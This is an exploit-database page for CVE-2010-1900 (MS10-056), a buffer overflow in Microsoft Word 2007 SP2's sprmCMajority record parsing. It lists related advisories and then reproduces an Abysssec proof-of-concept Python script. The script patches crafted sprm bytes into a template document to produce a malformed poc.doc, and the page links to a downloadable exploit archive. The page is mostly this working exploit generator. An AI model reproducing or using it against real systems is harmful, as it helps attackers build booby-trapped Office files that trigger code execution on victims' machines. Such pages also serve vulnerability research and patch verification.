Microsoft Office Word 2007 - sprmCMajority Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Office Word 2007 sprmCMajority Buffer Overflow exploi

Reporter	Title	Published	Views	Family All 19
0day.today	Microsoft Office Word 2007 sprmCMajority Buffer Overflow	11 Sep 201000:00	–	zdt
Circl	CVE-2010-1900	11 Sep 201000:00	–	circl
Check Point Advisories	Microsoft Word sprmCMajority Record Parsing Remote Code Execution (MS10-056; CVE-2010-1900)	10 Aug 201000:00	–	checkpoint_advisories
CVE	CVE-2010-1900	11 Aug 201018:00	–	cve
Cvelist	CVE-2010-1900	11 Aug 201018:00	–	cvelist
Exploit DB	Microsoft Word 2007 SP2 - sprmCMajority Buffer Overflow	11 Sep 201000:00	–	exploitdb
exploitpack	Microsoft Word 2007 SP2 - sprmCMajority Buffer Overflow	11 Sep 201000:00	–	exploitpack
Tenable Nessus	MS10-056 / MS10-057: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (2269638 / 2269707) (Mac OS X)	20 Oct 201000:00	–	nessus
Tenable Nessus	MS10-056: Vulnerability in Microsoft Office Word Could Allow Remote Code Execution (2269638)	11 Aug 201000:00	–	nessus
NVD	CVE-2010-1900	11 Aug 201018:47	–	nvd


                                                &#39;&#39;&#39;
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ &#60; 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/
http://www.exploit-db.com/sploits/moaub-11-exploit.zip
&#39;&#39;&#39;

&#39;&#39;&#39;
  Title               :  Microsoft Office Word sprmCMajority buffer overflow
  Version             :  Word 2007 SP 2
  Analysis           :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1900

&#39;&#39;&#39;

import sys

def main():
   
    try:
		fdR = open(&#39;src.doc&#39;, &#39;rb+&#39;)
		strTotal = fdR.read()
		str1 = strTotal[:4082]
		str2 = strTotal[4088:]
		
		sprmCMajority = &#34;\x47\xCA\xFF&#34;    # sprmCMajority  
		sprmPAnld80 = &#34;\x3E\xC6\xFF&#34;    # sprmPAnld80
				
		fdW= open(&#39;poc.doc&#39;, &#39;wb+&#39;)
		fdW.write(str1)
		fdW.write(sprmCMajority)
		fdW.write(sprmPAnld80)				
		fdW.write(str2)
		
		fdW.close()
		fdR.close()
		print &#39;[-] Word file generated&#39;
    except IOError:
        print &#39;[*] Error : An IO error has occurred&#39;
        print &#39;[-] Exiting ...&#39;
        sys.exit(-1)
                
if __name__ == &#39;__main__&#39;:
    main()

01 Jul 2014 00:00Current

EPSS0.41411